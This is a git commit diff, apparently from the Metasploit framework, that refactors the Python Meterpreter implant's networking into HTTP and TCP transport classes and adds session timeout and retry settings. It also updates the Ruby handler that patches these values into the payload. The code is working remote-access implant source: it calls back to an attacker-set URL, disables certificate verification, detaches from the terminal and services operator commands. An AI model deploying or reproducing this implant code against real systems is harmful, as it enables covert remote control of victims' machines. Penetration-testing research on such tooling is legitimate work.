Refactor the pymet to use transport objects

bug/bundler_fix
Spencer McIntyre 2015-06-26 14:56:31 -04:00
parent 7aae9b210e
commit 79185e91c6
3 changed files with 137 additions and 96 deletions

View File

@ -1,3 +1,4 @@
# vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab
import fnmatch
import getpass
import os

View File

@ -1,4 +1,5 @@
#!/usr/bin/python
# vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab
import code
import os
import platform
@ -60,14 +61,16 @@ else:
# Constants
#
# these values may be patched, DO NOT CHANGE THEM
# these values will be patched, DO NOT CHANGE THEM
DEBUGGING = False
HTTP_COMMUNICATION_TIMEOUT = 300
HTTP_CONNECTION_URL = None
HTTP_EXPIRATION_TIMEOUT = 604800
HTTP_PROXY = None
HTTP_USER_AGENT = None
PAYLOAD_UUID = ""
SESSION_COMMUNICATION_TIMEOUT = 300
SESSION_EXPIRATION_TIMEOUT = 604800
SESSION_RETRY_TOTAL = 3600
SESSION_RETRY_WAIT = 10
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
@ -393,52 +396,117 @@ class STDProcess(subprocess.Popen):
self.stdout_reader.read(len(channel_data))
export(STDProcess)
class PythonMeterpreter(object):
def __init__(self, socket=None):
class Transport(object):
def __init__(self):
self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT
self.communication_last = 0
self.communication_active = True
self.retry_total = SESSION_RETRY_TOTAL
self.retry_wait = SESSION_RETRY_WAIT
def get_packet(self):
self.communication_active = False
try:
pkt = self._get_packet()
except:
return None
self.communication_active = True
self.communication_last = time.time()
return pkt
def send_packet(self, pkt):
self.communication_active = False
try:
self._send_packet(pkt)
except:
return None
self.communication_active = True
self.communication_last = time.time()
def tlv_pack_timeouts(self):
response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout)
response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total)
response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait)
return response
class HttpTransport(Transport):
def __init__(self, url, proxy=None, user_agent=None):
super(HttpTransport, self).__init__()
opener_args = []
scheme = url.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if proxy:
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
opener = urllib.build_opener(*opener_args)
if user_agent:
opener.addheaders = [('User-Agent', user_agent)]
urllib.install_opener(opener)
self.url = url
self._http_last_seen = time.time()
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
def _get_packet(self):
packet = None
request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers)
url_h = urllib.urlopen(request)
packet = url_h.read()
if packet:
packet = packet[8:]
else:
packet = None
return packet
def _send_packet(self, packet):
request = urllib.Request(self.url, packet, self._http_request_headers)
url_h = urllib.urlopen(request)
response = url_h.read()
class TcpTransport(Transport):
def __init__(self, socket):
super(TcpTransport, self).__init__()
self.socket = socket
self.driver = None
def _get_packet(self):
packet = None
if len(select.select([self.socket], [], [], 0.5)[0]):
packet = self.socket.recv(8)
if len(packet) != 8:
return None
pkt_length, pkt_type = struct.unpack('>II', packet)
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(pkt_length - len(packet))
return packet
def _send_packet(self, packet):
self.socket.send(packet)
class PythonMeterpreter(object):
def __init__(self, transport):
self.transport = transport
self.running = False
self.communications_active = True
self.communications_last = 0
if self.socket:
self.driver = 'tcp'
elif HTTP_CONNECTION_URL:
self.driver = 'http'
self.last_registered_extension = None
self.extension_functions = {}
self.channels = {}
self.interact_channels = []
self.processes = {}
self.transports = []
self.transports = [self.transport]
self.session_expiry_time = SESSION_EXPIRATION_TIMEOUT
self.session_expiry_end = time.time() + self.session_expiry_time
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
if self.driver:
if hasattr(self, 'driver_init_' + self.driver):
getattr(self, 'driver_init_' + self.driver)()
self.running = True
self.running = True
def debug_print(self, msg):
if DEBUGGING:
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)
self._http_last_seen = time.time()
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
def register_extension(self, extension_name):
self.last_registered_extension = extension_name
return self.last_registered_extension
@ -468,67 +536,19 @@ class PythonMeterpreter(object):
return idx
def get_packet(self):
packet = getattr(self, 'get_packet_' + self.driver)()
self.communications_last = time.time()
if packet:
self.communications_active = True
return packet
return self.transport.get_packet()
def send_packet(self, packet):
getattr(self, 'send_packet_' + self.driver)(packet)
self.communications_last = time.time()
self.communications_active = True
self.transport.send_packet(packet)
def get_packet_http(self):
packet = None
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
try:
url_h = urllib.urlopen(request)
packet = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
if packet:
packet = packet[8:]
else:
packet = None
return packet
def send_packet_http(self, packet):
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
try:
url_h = urllib.urlopen(request)
response = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
def get_packet_tcp(self):
packet = None
if len(select.select([self.socket], [], [], 0.5)[0]):
packet = self.socket.recv(8)
if len(packet) != 8:
self.running = False
return None
pkt_length, pkt_type = struct.unpack('>II', packet)
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(pkt_length - len(packet))
return packet
def send_packet_tcp(self, packet):
self.socket.send(packet)
@property
def session_has_expired(self):
return time.time() > self.session_expiry_end
def run(self):
while self.running:
while self.running and not self.session_has_expired:
request = None
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
self.communications_active = False
should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 0.5)
if should_get_packet:
request = self.get_packet()
if request:
@ -673,7 +693,22 @@ class PythonMeterpreter(object):
raise NotImplemented()
def _core_transport_set_timeouts(self, request, response):
raise NotImplemented()
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value')
if timeout_value:
self.session_expiry_time = timeout_value
self.session_expiry_end = time.time() + self.session_expiry_time
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value')
if timeout_value:
self.transport.communication_timeout = timeout_value
retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value')
if retry_value:
self.transport.retry_total = retry_value
retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value')
if retry_value:
self.transport.retry_wait = retry_value
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
response += self.transport.tlv_pack_timeouts()
def _core_transport_sleep(self, request, response):
raise NotImplemented()
@ -804,14 +839,16 @@ class PythonMeterpreter(object):
resp = struct.pack('>I', len(resp) + 4) + resp
return resp
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
#if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if True:
if hasattr(os, 'setsid'):
try:
os.setsid()
except OSError:
pass
if HTTP_CONNECTION_URL and has_urllib:
met = PythonMeterpreter()
transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT)
else:
met = PythonMeterpreter(s)
transport = TcpTransport(s)
met = PythonMeterpreter(transport)
met.run()

View File

@ -285,8 +285,6 @@ protected
# Patch all the things
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
unless datastore['PayloadProxyHost'].blank?
@ -294,6 +292,11 @@ protected
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
blob.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
blob.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
blob.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}")
blob.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}")
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session